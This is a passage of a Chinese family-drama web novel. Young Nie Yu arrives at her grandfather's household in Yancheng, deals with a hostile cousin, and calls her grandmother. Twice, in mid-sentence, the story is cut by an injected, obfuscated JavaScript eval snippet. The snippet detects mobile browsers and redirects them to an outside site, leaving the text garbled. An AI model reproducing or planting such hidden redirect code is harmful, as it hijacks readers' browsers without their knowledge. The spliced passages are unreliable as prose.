雨后初霁,男人穿一套夏常服,迈步走到她面前,同她打招呼道。态度还算平易近人,但那极高的身板就伫立在她面前,犹如一块时刻能砸下来压死她的钢板。 聂宇深吸一口气,抬眸与他对视:“您好,孟…孟先生。” 一句问候里透出她此刻对他的心理:局促与生疏。 孟京阳稍抬了下眉,好似意外,又好似不。 “我记得你家在旬城,到秦城来玩儿的?”他问。 “不,不是。”聂宇答,“我舅舅来接我去燕城,我们在这里停留几天。” “……哦?”这句话音拉得略长,仿佛他在思索酝酿着什么。聂宇静等着,却见他忽然转向一旁的男人,问道:“事情解决了?” 同样的应烽也是反应了下才回过味儿来,有些结巴地答:“啊,解、解决了。这点事。” “行,那我们就先走了。”这话是对聂宇说的,“回见。” “回见。” 聂宇声音有些含糊地答,孟京阳又瞧她一眼,转过身轻拍了一下应烽,离开了。 - 聂宇和苗淼站在原地,直到连孟京阳那辆车的尾气都看不见了,才稍稍放松了下来。聂宇略转了下头,对上了苗淼审视和八卦的眼神。 “……”就知道逃不脱! “那人叫孟京阳?哪儿的人啊,你怎么认识的?”苗淼眨着眼睛问,整张脸都写满了好奇。 “去照山找我姥爷的时候认识的,也算是他们那个圈子里的。” “哇,那就怪不得了哦。”苗淼感慨一声,又凑近聂宇问,“肯出手帮我们,那他对你的印象应该还不错啊,怎么我看你在他面前倒显得不很自然,有点儿唯唯诺诺的。” 唯唯诺诺!聂宇一想到自己刚才的表现就悔的想撞树。那晚在听到舅舅提起孟京阳这个名字的时候,知晓他当下也在秦城,她就有预感可能会遇到他,内里早已进行了多番心理建设。后来她想,当晚在接待台前那个男人应该也是他,只是她对他的背影还不算熟,所以一下子没认出来。 然而今早她可是只凭一个侧脸就认出来是他,反应快的连她自己都诧异。 “孽缘,孽缘啊……” 聂宇小声呢喃,苗淼听不太清,就推了推她的胳膊,追问道:“说什么呢小宇,大点声嘛。难不成你得罪过孟京阳啊?” 岂止。聂宇心说:确切地讲她那不叫得罪,而应该是……冒犯。 -08- 回到车上,应烽侧过脸瞧孟京阳一眼,忍不住笑了:“我算是明白你为什么让我过去了,人女孩儿瞧见你跟老鼠见了猫似的。” 孟京阳隔着一层窗户看着不远处那个低头懊恼的姑娘,没接话。见惯了一个人理直气壮问心无愧的样子,偶尔看她摆出一副无地自容的心虚姿态来,还挺有趣。只是,到底不至于。她所介意的那点儿事,他差不多已经全忘了。 “说说吧,你这是怎么着人家了?”应烽双手抱胸,兴味十足道。 “你这话问的不对。”车子驶离对方的视线,孟京阳靠回到椅背上,悠然道,“应该是她怎么着我了。” “噗嗤——”应烽没忍住笑了出来,但见孟京阳凉凉看过来一眼,竟觉他是认真的。 “哎,不是——” 应烽还想再问,孟京阳打断他的话,嘱咐车子改道,驶向另外一个地方。 “去哪儿啊这是?”应烽随口问。 “林家。” “……”应烽无语又隐忍地看孟京阳一眼,“不是吧你,还真去啊?” “你当我跟你开玩笑?”你有那么好笑么? 应烽瞪他,半晌,无奈一摇头。 “搞不懂你,林虹嘉给你下蛊了还是怎么着?” 应烽小声嘀咕,孟京阳全当没听见。这会儿外面的阳光可真好,他慢慢放松身体,任由自己沉浸其中。 - 这天的后来,无论苗淼怎么问,聂宇都不肯再多吐露半个字了,只当什么事也没发生,孟京阳也是个没有任何交集的陌生人。但她的内心深处并不如表面上这般淡定,甚至她隐隐有些后悔,为什么在回答孟京阳那个问题的时候那般实诚。 现在好了,孟京阳什么都知道了,他只需在招待所里偶然碰到舅舅蒋云鹏一面,就能猜到她也住在那儿了。再加上他已知道了现在她是暂且由她舅舅负责,那么会不会把今天在医院门口遇到的事告诉他呢?更会不会,把之前那笔糊涂账也翻出来呢? 聂宇越想越忐忑,连晚上饭都没怎么吃。直到她听到舅舅的说话声和脚步声从走廊里传来,然后开门进屋,回了自己的房间之后,一颗心才缓慢地落归原处。今天应该是暂时过关了,聂宇长出一口气。 接下来两天,聂宇都在平静中度过。她哪里都没去,就待在房间里安静看书和休息。而舅舅蒋云鹏除了偶尔问一问她的吃喝之外,再没同她提及别的话题。聂宇渐渐安心,不再胡思乱想。 在抵达秦城的第五天,蒋云鹏终于忙好了自己的事,准备启程带聂宇返燕。这一天聂宇起得稍晚一些,洗漱完立刻去餐厅跟舅舅汇合,吃完了饭准备去机场。结果她一脚刚踏入餐厅,就见舅舅起身,在同一个人打招呼。那个人,正是孟京阳。 看见是他,聂宇的脚步停顿了下。然那边张干事已经看到了她,并冲她招了招手,聂宇只得硬着头皮走了过去。 等她走到舅舅蒋云鹏身边的时候,他已经简单地同孟京阳叙过寒温,外甥女的出现是一个送上门的新话题,他便笑容可掬地将她招了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353330|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,并稍稍把她往前推了下,介绍道:“这是聂宇,我的外甥女,我姐以前的——” 蒋云鹏点到为止,通常熟悉蒋家内情的人此时都会配合地露出心领神会的表情。然而孟京阳却没打算做这个“熟人”,他假意没太明白,蒋云鹏只得继续介绍:“就是我姐下乡时跟上一任生的孩子,一直留在奶奶那边长大。” “原来如此。”孟京阳浅笑了下,向聂宇伸过了手来。而聂宇停顿了几秒,才缓缓抬手握住。 眼下的情况对聂宇来说定然是尴尬的,但她不确定是蒋云鹏的“欲说还休”更让她难受,还是孟京阳的“打破砂锅问到底”。她想,应该是前者吧。一个人的身世背景再离奇,也比不被承认强。 蒋云鹏还在絮絮叨叨地同孟京阳说着什么,而聂宇已经在张干事的示意下,在完成出场任务后,就坐在一旁吃早饭了。此时,她的心情已经渐渐平静下来,不光是因为可以吃饭了,最重要的是,她貌似试探出了孟京阳的态度,那就是他好像暂时无意在舅舅面前表露出同她认识的过往,甘愿做个陌生人。 挺好的。不管是他不愿意提还是已经不当回事,都正合她意。 孟京阳是已经吃过早饭了,在同蒋云鹏简单地寒暄过后就离开了,并未看聂宇一眼。聂宇咬一口鸡蛋,吃的……更香了。 - 在经过两个多小时的飞行之后,聂宇终于跟着舅舅蒋云鹏抵达了燕城的西郊机场。她透过舷窗看向窗外,整个人腰背挺得很直,脸色却很苍白。 这是聂宇第一次坐飞机,并无丝毫振翅高飞的快乐,全程除了晕机呕吐外,就是为了遏制晕机呕吐而强迫进行的调整型睡眠。原本聂宇是对第一次的万米云端之行饱含期待的,现在她只希望不要再有第二次。 “到了小宇,下去吧。”蒋云鹏对她说道。 因为吐的厉害,除了乘务员外,蒋云鹏也被迫照顾了她一路。当下,脸色不是那么好看。但到家的喜悦也是真的,他主动帮聂宇提起了行李,扶着她下了飞机。 在出了机场之后,前来接机的人已经等在航站楼外了。是蒋铸的警卫员小宋,他一看见他们俩人的身影,就动作极快地迎了上来。蒋云鹏又心安理得地当起了甩手掌柜,他大步走在前面,看起来无“债“一身轻。 上了汽车之后,胃部又隐隐开始翻涌,但好在已经能克制。聂宇额头抵着窗户,看着窗外飞速后退的街景,心中并没有一种“我终于来到燕城”的豪情。她只觉得疲惫,只想睡,然而前面还有一场仗在等着她。 - 十几分钟后,车子驶入一个大院。 这还是聂宇第一次来到姥爷蒋铸所住的地方,跟她以往接触过的照山疗养院和秦城军区招待所都不太一样。这里更大,更威严,不光是人,连树都要更笔直三分。不知是阴沉天气的缘故还是被这里面的气势震慑到了,聂宇打一进门起,心里就开始发沉。她想,这就是她未来一年生活的地方了。 相比之下,蒋云鹏就放松多了,他已经将衣衫上最上面的那粒扣子解开,只等一下车,就立刻进家。 两分钟后,汽车在一声轻微的“嘎吱”声下,停在了一栋三层小楼前。蒋云鹏推开车门就下了车,而聂宇则是在小宋的示意下,背着自己的小包,缓慢而又踟躇地将脚踩在了面前的水泥地上。站稳后,她仰头看了看这栋近在咫尺的小楼,许是吐过之后身体还虚弱的原因,她略感到一丝眩晕。 “快进去吧,老首长在等着你呢。” 小宋对她倒是友好,聂宇冲他笑了笑,跟在他身后进了院门。 一进院,就看见舅舅蒋云鹏正陪一个穿背带裤的小男孩儿玩举高高的游戏,一旁站了个穿连衣裙的高个年轻姑娘,不知正在同蒋云鹏说什么,眉头微微皱着。 “爸,您快管管您儿子吧,今儿一天去服务社买了三趟雪糕了,再这么吃下去非拉肚子不可!” “是嘛南南,那雪糕就那么好吃呀,吃这么多你还吃不吃晚饭了。” 蒋云鹏倒真的管了,但语气温柔的毫无威慑力,小男孩儿听了之后不禁迸发出一阵尖笑,揪着他的耳朵使劲踢踏撒泼。 年轻姑娘无语了,瞪弟弟一眼,目光向外扫到聂宇,稍稍一顿。 “爸,这是——” 她扯了下蒋云鹏的衣服,向外示意。而蒋云鹏似乎这会儿才想起自己还带回来个人,连忙向女儿介绍道:“这就是你旬城来的表姐,聂宇。” 又向聂宇示意:“这是你表妹,蒋晓先;表弟,蒋晓南。” 蒋云鹏边逗着儿子边说道,小男孩儿始终在笑,而聂宇和蒋晓先就是在这样噪杂尴尬的氛围下,认识了彼此。 “你就是聂宇呀?”蒋晓先打量着她,眸光中满是好奇和意外地发问,“我听小妈说起要接你来燕城的事儿了,没想到这么快啊。” “对,我是聂宇。你好,晓先。” 聂宇微笑地同她打招呼,没说别的。而蒋晓先见她不接她的话茬,便稍微婉转了下,换了个话题:“一路过来挺累的吧,坐的飞机?” “嗯。有些晕机,多亏了舅舅这一路的照顾——” 聂宇客气着,话还没说完,就听蒋云鹏说:“行了晓先,先带你姐进屋吧,老爷子等着呢。我带晓南找他妈妈去,一会儿就回来。” 蒋晓先表情颇为不满,不知是为他打断她们的对话,还是为他一回家就去找自己的新老婆,将她丢在这边不管不顾。 “总是这样。”蒋晓先嘀咕一句,再看向聂宇时也没了探索的兴致和耐心,“算了,你跟我来吧。” 聂宇不发一言,继续跟着蒋晓先进院。 早在来之前,她就听说过蒋晓先这个人。她是舅舅跟上一任妻子的孩子,因为怕受蒋家牵连,在生下她没多久后,上一任妻子就跟蒋云鹏离婚了,并将孩子留给了他。只是比聂宇幸运的是,在那场风暴中,蒋云鹏受到的影响是全家最小的,所以蒋晓先得以在燕城,在父亲身边安然无恙地长大。及至她十三岁那一年,单身多年的父亲蒋云鹏忽然迷上了军区总院的一个小护士,在蒋老爷子那边软磨硬泡了近半年,终于抱得美人归。 从此,蒋晓先多了个后妈,一年后又多了个弟弟。 5. 09-10 -09- 走到屋门口的时候,蒋晓先情绪已经恢复了些许,简单地向她介绍了一下大院的环境。 蒋家目前所在的是总部下属的第一干休所,住在其中的都是一些年高德劭的功勋老干部。除了三栋五层办公楼外,其他统一布局的都是三层小楼,供退休老首长们全家居住。 “你的屋子已经提前让人给收拾出来了,二楼东头的一间,跟我挨着。本来是我爸留给小妈家的亲戚住的,后来得知你要来,就让她腾了出来。”一顿,“腾出来好呀,谁稀罕跟那群乡下人挨着住,吵得要死。” “……” 聂宇一时不知该如何接这话。 是庆幸自己跟所谓的“乡下人”抢房间成功,还是慨叹自己还没来就可能因为一间房得罪了这个家现在的女主人呢? “进来呀。” 见聂宇在门口停顿了下,蒋晓先有些不明所以地向她招了下手。聂宇微微一笑,迈步进屋。 以前在读书之余闲暇的时候,聂宇跟着奶奶看过几部电视剧,在里面看到过几幕老首长或者老干部家里的相关镜头。当时的她无论如何也想不到,自己有朝一日会踏进这样的家里来,亲眼见证。 还是有些不一样的。这是聂宇进屋环视一圈之后,脑海里冒出来的第一个念头。随即视线一转,她看着小宋扶着姥爷从二楼下来了。 快一个月未见,姥爷蒋铸比在照山时看起来苍老了一些。难不成,是回来这些天过得不舒心? “爷爷,我爸把表姐接过来了。”蒋晓先凑上前,笑着说。 蒋铸瞧聂宇一眼,点点头没接话,停顿两秒,问:“你爸呢?” “您说呢。”蒋晓先故作哀怨,“这不刚回来,连家门都没进呢,就抱着晓南去见小魏阿姨了。” 小魏阿姨,即魏莹,就是蒋晓先后妈的名字。在老爷子面前,她是不会没分寸地称呼她“小妈”的。 “行,让他去吧。”蒋铸说,“省得你弟在家里老是哭闹,搅得谁也不安生。” 这话,隐隐有替蒋云鹏开脱的意味。蒋晓先听出来了,也不再在这件事上做文章,而是将聂宇推了出来。 “我也是这么说,所以就把给表姐带路的活儿揽过来了。” 蒋晓先故作亲热地挽上了聂宇的胳膊,蒋铸此时终于又看她一眼,然后说:“比去照山那会儿瘦了点,这一个月过得不踏实吗?怕我食言不派人去接你?” 这话,像是试探又像是开玩笑。 “不是。”聂宇笑了下,有些惭愧的样子,“我是在想,该怎么努力学习考取一个理想的大学,才能不辜负姥爷您着意栽培我的苦心。” “想出来了么?”蒋铸追问道,“虽然你打小没在我身边长大,但我对你的要求跟家里其他孩子可是一样的,那就是不能让我做赔本的买卖。” 在战争年代,蒋铸管过很长一段时间军队的钱粮问题,所以很多人都说他喜欢算计——褒义层面的。这个习惯保持到现在,以至于他对孩子们也很讲究这些,凡是被他资助过的子侄或者孙侄辈,都被他要求一定要做出成绩来。 “我知道,我会尽力的。” 聂宇认真表示道,蒋铸见状点了点头,没再说什么。 - 因为要在爷爷面前表现,蒋晓先陪着她上了二楼认了房间,然后又帮着她一起归置东西。当然,关上门之后,她主要是负责动口,而聂宇负责动手。 “听我爸说,你是过来复读准备再参加一次高考的?听说你在旬城的家庭条件也还可以,为什么非要来燕城复读?他们付不起你的学费?” 蒋晓先随口问着,语气里辨不出是真的好奇,还是隐隐嘲讽。 “付得起。”聂宇说,“但燕城的条件跟旬城不一样,这里有我老家没有的。” “你这口吻,跟小妈老家来的那些人真像,他们也是这么说的。”蒋晓先笑了下,“所以啊,他们每次走的时候都是大包小包的。如果可以,他们简直想把整座百货商店搬回去。” “……” 这一次聂宇听明白了,蒋晓先就是在嘲讽她。 “那这应该就是我跟他们不一样的地方。”她微微笑着,说,“我只想带着一张大学录取通知书离开。” “……”蒋晓先噎了下,没再说话,只是对着她的背影撇了撇嘴。 接下来半小时,蒋晓先安静多了,待聂宇收拾好房间之后,她一刻也没多待的离开了。在房间里只剩下她一个人的时候,聂宇终于能歇一歇了。她拉住桌前的那把椅子坐下,整个人身心俱疲。 对于来燕城之后的生活,她事先设想过很多次。可只有亲身体验了,她才知道自己想的还是太简单了。这里,好像没一个人欢迎她。 - 聂宇在房间里休息了快一个小时,直到警卫员小宋上来敲她的门,通知她下楼吃饭。聂宇立刻披上了自己的外衣,走出房间后探头朝下一看,发现客厅里多了几个人,正是蒋云鹏带着他的妻儿回来了。 蒋云鹏的再婚妻子魏莹,在婚前只是军区总院的一个普通小护士。结婚之后,蒋云鹏托人将她调到了干休所的保健科,在里面充当一名护理人员,每天的工作就是给老首长量量血压配配药,比在医院的时候不知道轻松多少倍。即便如此,蒋云鹏仍是不知足,想给她运作一个官职当当,老爷子蒋铸听说之后将他大骂了一顿,魏莹也在枕边劝丈夫,说留在他身边就很知足,这才让他作罢。 由此可见,魏莹是个聪明人。嫁入了蒋家这样的家庭之后,也依旧老老实实勤勤恳恳地去上班,遇事懂得退让,不去抢风头。若不是这样的品性,蒋铸也不会松口让她进家门。更令人羡慕不来的是,老天似乎也特别眷顾她,让她一嫁进蒋家就有了身孕并平安生育,且还是个男孩儿。如此,魏莹在蒋家的地位算是彻底稳固了,要知道这个蒋晓南,可是蒋铸目前唯一的孙子。 饶是如此,魏莹为人依旧谦逊温和。就比如此刻,她不是楼下客厅里唯一一个听到聂宇下楼的脚步声的,却是头一个来跟她打招呼的。 “这就是聂宇吧,小姑娘长的真漂亮。” 魏莹此时刚三十出头,穿的却有几分老气,行事作风也颇为稳重。聂宇不觉得她称自己为“小姑娘”有什么违和之处,闻言笑了笑,称呼她道:“舅妈。” 这一声唤,让客厅里的两个人脸色微变。一个是魏莹,另一个自然就是蒋晓先。后者正陪着弟弟和父亲疲惫而麻木地在爷爷面前扮演“膝下承欢”,听到那声“舅妈”后,整个人都支棱和抖擞起来了,活像一只炸毛的刺猬。 聂宇对此不以为意。首先,她对舅舅的上一任,即蒋晓先的亲妈,没有一丝感情,这声“舅妈”叫谁不是叫?其次,魏莹是经老爷子认可娶进家门的,又被蒋云鹏捧在手心里宠着,他们两个都没意见,你蒋晓先算老几呢?最后,连你都不敢当着家里的人面儿叫她小妈呢,还敢来指望我? 想通这些,聂宇笑的更真心实意了,这让魏莹十分感动。她上前来握住聂宇的手打量了她一番,眼睛里有掩不住的赞赏。 蒋云鹏任由她们两人互动一番,才抱起儿子,对父亲蒋铸说:“爸,小宇也下来了,咱们去吃饭吧。” “成。” 老爷子在蒋晓先的搀扶下站起来了,却没动,而是盯着蒋云鹏看。蒋云鹏初还没反应过来,被妻子拉了一下衣袖后才骤然恍悟,急忙将儿子蒋晓南放了下来,并对他说:“快,儿子,咱爷俩比赛,看谁先跑到餐桌那儿。” 蒋晓南迈着小短腿跑了,蒋云鹏瞅他爹一眼,有些无奈:“爸,晓南才三岁。” “三岁怎么了?晓先三岁的时候你也这么惯着她?”蒋铸瞥他一眼,“在我家里,没有娇惯孩子的先例,孙子也不行。都给我一视同仁。” “行行行,我说不过您。” 魏莹又在向他使眼色了,蒋云鹏只得服软,欲上前亲手搀扶老爷子,被他一臂挥开了。 “我就更用不着你了。”蒋铸说,“反正你心里也早没我这个爹了。” 这下众人都听明白了,蒋铸这是在为今天下午蒋云鹏先去见了媳妇这事儿发作。在蒋晓先面前含糊其辞和稀泥是为了维护蒋云鹏这个当爹的面子,但蒋铸心里并非不在意这件事。蒋云鹏夫妻俩当即不说话了,眼观鼻鼻观心地目送着蒋晓先护送着老爷子进了餐厅。 - 当晚,这顿饭还算是愉快的。蒋铸特意让聂宇坐在了他的身边,还给她夹了几筷子菜。见她吃的不多,还叮嘱小宋让保健医生再来的时候也给她把把脉,看胃里是不是有积食。聂宇对此感激不尽,解释了自己是因为晕机导致胃口不佳,才勉强让老爷子放心。 期间,蒋云鹏和魏莹都很上道地向她表达了关心,唯独蒋晓先没说话。闷头吃饭的同时,一个劲儿地给弟弟蒋晓南加青菜。然而蒋晓南不爱吃青菜,见碗里扒拉来扒拉去找不到几块儿肉,他不开心了,就冲姐姐嚷嚷了起来。 可当着老爷子的面儿,谁也不可能再把青菜从他碗里加出来,他必须都吃下去。认识到这个事实的蒋晓南崩溃了,丢下筷子就开始哭。 魏莹赶紧来哄儿子,想着法儿地让他把碗里的菜吃下去。蒋云鹏一边怪女儿给他夹这么多青菜,一边也跟着劝儿子,哄加威吓都用上了。饭桌上的氛围就此被破坏殆尽,蒋铸皱着眉头看了儿子一家许久,丢下筷子,打算起身离开。 魏莹这下有些被吓到了,不及蒋云鹏上前安抚,就见蒋铸又转过了身,目光在餐桌上环视一圈,最后落在了聂宇身上—— “吃完饭,你来书房一趟。” -10- 待老爷子走后,饭桌上的氛围凝滞了一瞬,又很快被争吵打破。是蒋云鹏在斥责蒋晓先:“你给你弟加那么多青菜干什么?不知道他不爱吃吗?” “不爱吃就可以不吃吗?到时候不吃菜光吃肉,爷爷又有话说了,骂他挑食。” 蒋晓先也知道自己做得有一些过了,但这个时候是不可能承认的。更何况,她说的也有些道理。 “是呀,晓先也是为了南南好,你就不要骂她了。”魏莹冷静下来后,劝解丈夫道。 蒋云鹏磨了磨牙,尽量把火气压下去。谁知蒋晓先听了之后,微撇嘴,骂了句“假惺惺”。蒋云鹏当然听见了,立刻就把筷子砸在了碗上,蒋晓先也不甘示弱,父女俩就这样杠上了。 聂宇在旁听完全程,不由加快了手中扒饭的动作。她想,还是尽快地离开餐厅这个是非之地比较好。 - 一楼书房里,蒋铸正一边喝茶一边看新闻联播,见聂宇从外面推门而入,他瞧了她一眼,又很快地将视线挪回到电视机上。 “你现在体会到了吧,到哪里都是一地鸡毛。” 聂宇有些意外,没想到老爷子的开场白竟是这个。当初她去照山恳请他接自己来燕城的时候,理由之一就是家里的环境不利于复习。 “只能说,家家都有本难念的经。” 不想深入讨论这个话题,聂宇一句话含糊带过,然而老爷子却不放过她。 “你这个语气啊,听起来真像个局外人,好像是来瞧热闹的。看样子,你还是没把这里当自己的家。” 蒋铸一边看着电视,一边点评她。聂宇心里咯噔了下,有些慌,又有些不服气。她不过才来几个小时,怎么可能这么快就有了归属感呢。更何况,要把她这里当家,得他们也把她当家人,不是吗?所有的一切都是相互的。 “我才刚来,需要适应几天。而且——”聂宇一顿,在蒋铸转过头来的逼视下,说出了下半句,“我来这里也不是为了这个。”想要家,她不会去找她奶奶吗? 蒋铸沉默几秒,关了电视,看着她说:“才说你两句就忍不住顶嘴,一点儿委屈都受不了,以后如何能成大事?我看你也别准备考试了,回旬城算了。” “……” 聂宇不说话了。 严格说来,从小到大虽然明里暗里地被家里的两个婶婶针对,但因为有奶奶谢静芳的庇护,聂宇并没太过过忍气吞声的日子,基本有什么委屈当场就发泄了出去。所以老爷子现在这般教训她,也并非全无道理。她渐渐大了,不能再像小时候一般随心所欲和冲动。 见聂宇一脸低头受教的样子,蒋铸也决定适可而止。他说这番话的用意不过也是让她尽快认清现实,不要对这里的环境抱有太大的奢望,否则到时候苦的可是她自己。若让他像谢静芳那样一门心思护着她,那是不可能的。 “好了,坐下吧,我有话要问问你。” 蒋铸软了口吻,指着一旁的沙发让她落座。聂宇不再有情绪,乖乖照办。 “复习的事你是怎么打算的?是准备自己来,还是在这里找个学校插班?”蒋铸问。 “我自己来吧。”聂宇说,“就是麻烦您帮我找一个地方,要安静一些的。” 这是知道家里难待,不想待了。 蒋铸笑一笑,说:“院里有个图书馆,只对咱们自己人开放。我让小宋给你办张卡,到时候你去那里复习,一日三餐都在家里吃。”一顿,“听说那边有个电脑室,你复习累了如果想去看看,我也可以让小宋替你安排。不过据说那里头是有门禁的,不是谁都可以随便进去,你行不行?” “我行!”聂宇斩钉截铁地答,她不就是冲这个来的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353331|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “好,那就这么说定了,明天我就让小宋给你办。” “好,谢谢姥爷。” 这下聂宇也笑了,祖孙俩对视片刻,蒋铸又慢慢收敛了表情,靠坐了回去。 “聂宇,我可以直接告诉你,只要是必需且有助你未来考试的,我都可以向你提供。但是别忘了当初你在照山答应我的,我所做的这些都是有条件的。” “……我晓得,当初我们打了个赌嘛,我答应了。”聂宇又笑了笑,这一次有些勉强,“如果明年的高考再失利,我就听您的安排,相亲嫁人。” “是不是觉得我这个姥爷当得过于苛刻和锱铢必较了?”蒋铸问她,双眸同时紧盯着她,仿佛是怕错过那张脸上一丝丝的表情波动。 聂宇摇了摇头:“就是您让我现在就相亲嫁人,我恐怕也只能答应。姥爷,我没有别的选择了。” 蒋铸静静地看着她,忽而叹了口气:“你也不要怪我狠心,像你这样的小姑娘,如果未来不能事业有成,那最好的出路便是找一个不错的人家嫁了,相夫教子过一生。这不光是对你,对晓先,我也是这样的安排。小宇,还有一点我也不妨对你直说了,那就是即便这一次你不来照山找我,求我再给你一次机会,我也会在合适时机找到你奶奶,谈你未来工作和成家的问题。你不要以为姥爷把你放在旬城一直不管不问,就是彻底把你忘了。你到底,是我的亲外孙女!” 蒋铸说到最后,竟有些动情了。而聂宇除了稍觉讶异之外,心里并没有太多的波澜。过去的日子是她自己一天天一步步走过来的,其中的辛酸只有她自己晓得,不是任谁随便说几句就能抹杀和改变的。哪怕这个人是她姥爷也不行。 “好了,你今天也累了,我也不跟你多说了,我们改日再聊。”蒋铸说着站起身,聂宇反应了下,才凑上前去扶他。 “你不用管我,房间里有电话,跟你奶奶报个平安吧,她在家里估计也等久了。” 蒋铸说完慢慢抬步离去,聂宇留在原地,等书房门关上了,才低声说了句:“是,谢谢姥爷。” - 此时此刻,千里之外的旬城,谢静芳正一边看着电视,一边心不在焉地瞄手边的座机电话。自聂宇离开后,这些天她都是数着日子过的,数着数着觉得自己的孙女该到燕城了,却迟迟等不来她的消息。谢静芳心急如焚,却还是使劲按捺着心情,不给家里人和聂宇添麻烦。 大儿媳王盈此刻正在一旁织毛衣,婆婆如何坐立不安的样子她都看在眼里,心里只觉得又恨又痛快。瞥了眼在身后饭桌上吃饭的儿子,她清一清嗓子,说:“妈,小宇现在也该到燕城了吧,怎么不给您来通电话呀。” 这是哪痛往哪儿扎呀,连聂杰英都忍不住给他妈比个大拇指了。没见老太太这两天火气正旺嘛,非得往那枪口上撞。 果不其然,向来讲究风度的谢静芳瞥她一眼,冷冷回道:“这么好奇,不如你给燕城打一通电话问问?” “这——”王盈语塞了,生怕老太太真把电话给她搬过来,那这电话她打还是不打呀。 谢静芳就知道她是有贼心没贼胆的一个人,也懒得跟她计较了。正要起身回房间,安静了一晚上的座机突然响了,谢静芳愣了下,赶紧拿起了听筒。 电话正是聂宇打过来的,老太太听见孙女的声音从那头传来,整个人就不淡定了,眼泪刷地就流出来了。 “是澄澄吗,是我的澄澄吗?”一顿,“澄澄诶,你怎么这么久才给我打电话来。” 聂宇一听电话那头的奶奶在哭,心里就彻底慌了,鼻尖也跟着泛酸,说话也夹杂着哭腔。 “奶奶对不起,我今天才到燕城,我跟着舅舅在秦城耽搁了几天,让您担心了,对不起……” “没事,没事。”谢静芳抹一抹泪,说,“你安全到了就好,奶奶知道你安全就好。” 这一通电话,是聂宇在姥爷蒋铸离开后等了十分钟才拨通的。一是为了平复谈完话后尚有些起伏的情绪,另外也是为了做心理建设,怕自己拿起听筒就哭。结果没想到啊,奶奶一句话就让她破功了。 祖孙俩互相安慰了会儿,终于让彼此的情绪都稳定了下来。俩人都说了些别后的事,话里话外皆是报喜不报忧,就为了让对方放心。 但谢静芳到底是放不下这颗心,她手里还捏着聂宇留下的五千块钱呢! “小宇,你要奶奶的命是不是,你把什么东西都留下,到了燕城可要怎么活!” 虽然已经把儿媳和孙子都赶回了房间,但谢静芳说话还是相当注意,免得被人听了墙角去。而聂宇,当然也知道奶奶指的是什么。 “我手里有呢,来时您不是给了嘛。”聂宇说,“而且当初在旬城的时候舅舅就明说了,在燕城这一年的花销由蒋家负责,每个月由姥爷给我发零花钱,跟晓先一视同仁。” “……”谢静芳不知该如何说。她自然知道蒋家不会亏了自己的孙女,但就是过不了心里这坎儿,聂宇毕竟是她聂家的孩子。然而在钱这件事上,因为知道聂宇手里有五千傍身,她一时就没让她随身带着那么多,想着等以后不够了再寄。谁成想这孩子把钱都留在了家里,看来她是要尽快给她寄钱过去了。 “不许给我寄钱!”祖孙俩心有灵犀,聂宇同时也想到了这一点,“警告”道:“你寄了我也会寄回去的!” “可是小宇——” 谢静芳实在不放心,但话未说出口,就被聂宇打断—— “奶奶,我明白您的顾虑。但您放心吧,我不会饿着自己,也不会让自己欠蒋家人情。您就相信我好吗,您孙女办法多着呢。” “……” 谢静芳还能如何,只能苦笑一声,让聂宇钱不够了就给她打电话。而聂宇,自然是满口应下了。 祖孙俩又说了会儿话,直到聊满了半个小时,谢静芳担心太久了会引起蒋家这边的不满,才劝着聂宇挂了电话。家里其他人满以为老太太接了孙女的电话就会放心了,开心了,却见谢静芳挂了电话之后,独自坐在那里流泪许久。她实在,太想她的孙女了。 - 而聂宇这边,在打完这通电话之后,却是睡了个难得的好觉。第二天不到七点就起来了,出门碰见蒋晓先还心情颇好地主动跟她打了个招呼。 然而蒋晓先却是将近一夜未眠,原因自然跟昨晚的吵架有关。她看着聂宇元气满满的样子就心塞,想到她昨晚对着魏莹那声“舅妈”更是气不到一处来,眼睛骨碌一转,就生出一个灭她威风的主意来。 “小宇姐,我刚下楼的时候听爷爷说今天姑姑那边好像要来人见你呢。不过来的据说是姑父一个人,姑姑没来。” 6. 11-12 -11- 在来燕城之前,聂宇设想过抵达后的场景。 当然,她并没有天真到以为姥爷和她那所谓的亲生母亲会一起等在家中急切地盼望着她的到来。但她想无论如何这是自己第一次踏足燕城,踏足自己另一个家的家门,蒋云清再无情,至少也会露一面。 昨晚在饭桌上没有见到蒋云清,聂宇已经隐约猜到了什么。今天早上起来得到“姑父”一人前来的消息,聂宇……说不清自己这会儿是什么感受。难过吗?不至于。但也并非无动于衷。 楼下客厅,蒋铸看着谭斌一个人从外面进来,几不可察地叹了口气。待听他说明了蒋云清今日缺席的理由之后,他静静凝视他几秒,说道:“小谭啊,你不能太惯着云清了。” 亲生女儿来到自己的地界儿了,她都不来看一眼,这传出去像什么话! 谭斌只是笑,斯斯文文地解释:“今早出门前替她量了体温,确实有些低烧。我想云清也是怕过给孩子和您,所以——” 蒋铸不言语了,抬头看了一眼,发现了站在楼梯边的聂宇。老爷子神色一顿,不及他说什么,就见聂宇转过身,顺着楼梯下了楼来。 谭斌也瞧见了聂宇,他立刻起身,一会儿就看见一个瘦高苍白的姑娘走了过来。她看着他们,眼中有种看透一切的淡定和平静。 谭斌尽量让自己表现出欢喜来:“这就是小宇吧,都长这么大了。” 久不见她的人都会这么感慨,但是谭斌——这位蒋云清回到燕城后又再嫁的一个男人为什么会这么说呢,他又没见过她。 